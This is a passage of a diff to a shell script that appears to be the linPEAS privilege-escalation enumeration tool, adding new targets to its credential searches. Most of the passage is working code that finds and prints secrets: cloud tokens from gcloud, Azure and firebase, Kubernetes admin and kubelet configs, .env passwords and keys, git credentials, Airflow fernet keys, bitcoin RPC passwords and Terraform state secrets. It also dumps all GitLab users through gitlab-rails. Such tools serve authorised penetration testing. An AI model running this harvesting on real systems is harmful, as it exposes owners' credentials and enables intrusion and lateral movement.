\"adc\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "adc.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "adc\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,adc\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.boto$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".boto"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.boto$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.boto$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.credentials\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".credentials.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.credentials\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.credentials\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"firebase-tools\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "firebase-tools.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "firebase-tools\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,firebase-tools\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,id_token.*|access_token.*|refresh_token.*,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access_tokens\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access_tokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"accessTokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "accessTokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "accessTokens\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,accessTokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"gcloud$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "gcloud"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "gcloud$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,gcloud$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "b'authorization'.*" | sed -${E} "s,b'authorization'.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "legacy_credentials"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,legacy_credentials$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,refresh_token.*|client_secret,${SED_RED},g"; done; echo "";done; echo ""; if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"azureProfile\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "azureProfile.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "azureProfile\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,azureProfile\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "TokenCache.dat"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"AzureRMContext\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AzureRMContext.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "AzureRMContext\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,AzureRMContext\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"ErrorRecords$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ErrorRecords"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "ErrorRecords$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ErrorRecords$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "TokenCache.dat"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.bluemix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bluemix"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.bluemix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.bluemix$,${SED_RED},"; find "$f" -name "config.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"doctl$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "doctl"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "doctl$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,doctl$,${SED_RED},"; find "$f" -name "config.yaml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yaml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "access-token.*" | sed -${E} "s,access-token.*,${SED_RED},g"; done; echo "";done; echo ""; fi @@ -3746,7 +4091,7 @@ SPLUNK_BIN="$(command -v splunk 2>/dev/null)" if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then print_2title "Searching uncommon passwd files (splunk)" if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi - printf "%s\n" "$PSTORAGE_SPLUNK" | sort | uniq | while read f; do + printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do if [ -f "$f" ] && ! [ -x "$f" ]; then echo "passwd file: $f" | sed "s,$f,${SED_RED}," cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED}," @@ -3768,7 +4113,7 @@ fi ##-- SI) Gitlab if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then print_2title "Searching GitLab related files" - #Check gitlab-rails + # Check gitlab-rails if [ "$(command -v gitlab-rails)" ]; then echo "gitlab-rails was found. Trying to dump users..." gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED}," @@ -3781,7 +4126,7 @@ if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$ echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'" echo "" fi - #Check gitlab files + # Check gitlab files printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do if echo $f | grep -q secrets.yml; then echo "Found $f" | sed "s,$f,${SED_RED}," @@ -3801,7 +4146,7 @@ fi if [ "$PSTORAGE_GITHUB" ] || [ "$DEBUG" ]; then print_2title "Analyzing Github Files (limit 70)" if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.github$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".github"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.github$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.github$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.gitconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".gitconfig"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.gitconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gitconfig$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.gitconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".gitconfig"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.gitconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gitconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git-credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git-credentials"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git-credentials$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git$,${SED_RED},"; done; echo ""; fi @@ -3881,12 +4226,14 @@ if [ "$PSTORAGE_KUBERNETES" ] || [ "$DEBUG" ]; then print_2title "Analyzing Kubernetes Files (limit 70)" (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBERNETES|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED}," if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"bootstrap-kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bootstrap-kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "bootstrap-kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bootstrap-kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet-kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet-kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet-kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet-kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet.conf"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"\.kube.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".kube*"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "\.kube.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.kube.*$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet$,${SED_RED},"; find "$f" -name "kubelet.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubelet.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "config.yaml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yaml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "kubeadm-flags.env" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubeadm-flags.env,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet$,${SED_RED},"; find "$f" -name "config.yaml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yaml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "kubeadm-flags.env" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubeadm-flags.env,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$"; done; echo "";done; echo ""; if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kube-proxy$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kube-proxy"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kube-proxy$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kube-proxy$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubernetes$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubernetes"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubernetes$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubernetes$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubernetes$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubernetes"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubernetes$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubernetes$,${SED_RED},"; find "$f" -name "admin.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,admin.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "controller-manager.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,controller-manager.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "scheduler.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,scheduler.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";done; echo ""; fi @@ -3941,7 +4288,7 @@ fi if [ "$PSTORAGE_SNMP" ] || [ "$DEBUG" ]; then print_2title "Analyzing SNMP Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SNMP\" | grep -E \"snmpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "snmpd.conf"; fi; fi; printf "%s" "$PSTORAGE_SNMP" | grep -E "snmpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,snmpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rocommunity|rwcommunity|extend.*" | sed -${E} "s,rocommunity|rwcommunity|extend.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SNMP\" | grep -E \"snmpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "snmpd.conf"; fi; fi; printf "%s" "$PSTORAGE_SNMP" | grep -E "snmpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,snmpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rocommunity|rwcommunity|extend.*|^createUser" | sed -${E} "s,rocommunity|rwcommunity|extend.*|^createUser,${SED_RED},g"; done; echo ""; fi @@ -3965,7 +4312,7 @@ fi if [ "$PSTORAGE_ENV" ] || [ "$DEBUG" ]; then print_2title "Analyzing Env Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ENV\" | grep -E \"\.env$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".env"; fi; fi; printf "%s" "$PSTORAGE_ENV" | grep -E "\.env$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.env$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[tT][oO][kK][eE][N]|[dD][bB],${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ENV\" | grep -E \"\.env.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".env*"; fi; fi; printf "%s" "$PSTORAGE_ENV" | grep -E "\.env.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.env.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[tT][oO][kK][eE][N]|[dD][bB]|[pP][rR][iI][vV][aA][tT][eE]|[kK][eE][yY],${SED_RED},g"; done; echo ""; fi @@ -3986,6 +4333,7 @@ fi if [ "$PSTORAGE_FTP" ] || [ "$DEBUG" ]; then print_2title "Analyzing FTP Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"vsftpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "vsftpd.conf"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "vsftpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vsftpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "anonymous_enable|anon_upload_enable|anon_mkdir_write_enable|anon_root|chown_uploads|chown_username|local_enable|no_anon_password|write_enable" | sed -${E} "s,anonymous_enable|anon_upload_enable|anon_mkdir_write_enable|anon_root|chown_uploads|chown_username|local_enable|no_anon_password|write_enable|[yY][eE][sS],${SED_RED},g" | sed -${E} "s,\s[nN][oO]|=[nN][oO],${SED_GOOD},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"\.ftpconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ftpconfig"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "\.ftpconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ftpconfig$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ffftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ffftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ffftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ffftp\.ini$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ftp\.ini$,${SED_RED},"; done; echo ""; @@ -3997,12 +4345,43 @@ if [ "$PSTORAGE_FTP" ] || [ "$DEBUG" ]; then fi +if [ "$PSTORAGE_VARNISH" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Varnish Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_VARNISH\" | grep -E \"varnish$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "varnish"; fi; fi; printf "%s" "$PSTORAGE_VARNISH" | grep -E "varnish$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,varnish$,${SED_RED},"; find "$f" -name "default.vcl" | while read ff; do ls -ld "$ff" | sed -${E} "s,default.vcl,${SED_RED},"; done; echo "";find "$f" -name "secret" | while read ff; do ls -ld "$ff" | sed -${E} "s,secret,${SED_RED},"; done; echo "";done; echo ""; +fi + + +if [ "$PSTORAGE_APACHE_AIRFLOW" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Apache-Airflow Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_APACHE_AIRFLOW\" | grep -E \"airflow\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "airflow.cfg"; fi; fi; printf "%s" "$PSTORAGE_APACHE_AIRFLOW" | grep -E "airflow\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,airflow\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,access_control_allow_headers|access_control_allow_methods|access_control_allow_origins|auth_backend|backend.default|google_key_path.*|password|username|flower_basic_auth.*|result_backend.*|ssl_cacert|ssl_cert|ssl_key|fernet_key.*|tls_ca|tls_cert|tls_key|ccache|google_key_path|smtp_password.*|smtp_user.*|cookie_samesite|cookie_secure|expose_config|expose_stacktrace|secret_key|x_frame_enabled,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_AIRFLOW\" | grep -E \"webserver_config\.py$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "webserver_config.py"; fi; fi; printf "%s" "$PSTORAGE_APACHE_AIRFLOW" | grep -E "webserver_config\.py$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,webserver_config\.py$,${SED_RED},"; done; echo ""; +fi + + +if [ "$PSTORAGE_X11" ] || [ "$DEBUG" ]; then + print_2title "Analyzing X11 Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_X11\" | grep -E \"\.Xauthority$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".Xauthority"; fi; fi; printf "%s" "$PSTORAGE_X11" | grep -E "\.Xauthority$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.Xauthority$,${SED_RED},"; done; echo ""; +fi + + if [ "$PSTORAGE_ROCKETCHAT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Rocketchat Files (limit 70)" if ! [ "`echo \"$PSTORAGE_ROCKETCHAT\" | grep -E \"rocketchat\.service$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rocketchat.service"; fi; fi; printf "%s" "$PSTORAGE_ROCKETCHAT" | grep -E "rocketchat\.service$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rocketchat\.service$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E -i "Environment" | sed -${E} "s,mongodb://.*,${SED_RED},g"; done; echo ""; fi +if [ "$PSTORAGE_RPCD" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Rpcd Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_RPCD\" | grep -E \"rpcd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rpcd"; fi; fi; printf "%s" "$PSTORAGE_RPCD" | grep -E "rpcd$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rpcd$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.+|password.+,${SED_RED},g"; done; echo ""; +fi + + +if [ "$PSTORAGE_BITCOIN" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Bitcoin Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_BITCOIN\" | grep -E \"bitcoin\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bitcoin.conf"; fi; fi; printf "%s" "$PSTORAGE_BITCOIN" | grep -E "bitcoin\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bitcoin\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user=.*|password=.*|auth=.*,${SED_RED},g"; done; echo ""; +fi + + if [ "$PSTORAGE_GLUSTERFS" ] || [ "$DEBUG" ]; then print_2title "Analyzing GlusterFS Files (limit 70)" if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.pem$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.pem"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.pem$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.pem$,${SED_RED},"; done; echo ""; @@ -4011,6 +4390,13 @@ if [ "$PSTORAGE_GLUSTERFS" ] || [ "$DEBUG" ]; then fi +if [ "$PSTORAGE_TERRAFORM" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Terraform Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_TERRAFORM\" | grep -E \"\.tfstate$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.tfstate"; fi; fi; printf "%s" "$PSTORAGE_TERRAFORM" | grep -E "\.tfstate$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.tfstate$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,secret.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_TERRAFORM\" | grep -E \"\.tf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.tf"; fi; fi; printf "%s" "$PSTORAGE_TERRAFORM" | grep -E "\.tf$" | while read f; do ls -ld "$f" 2>/dev/null | sed 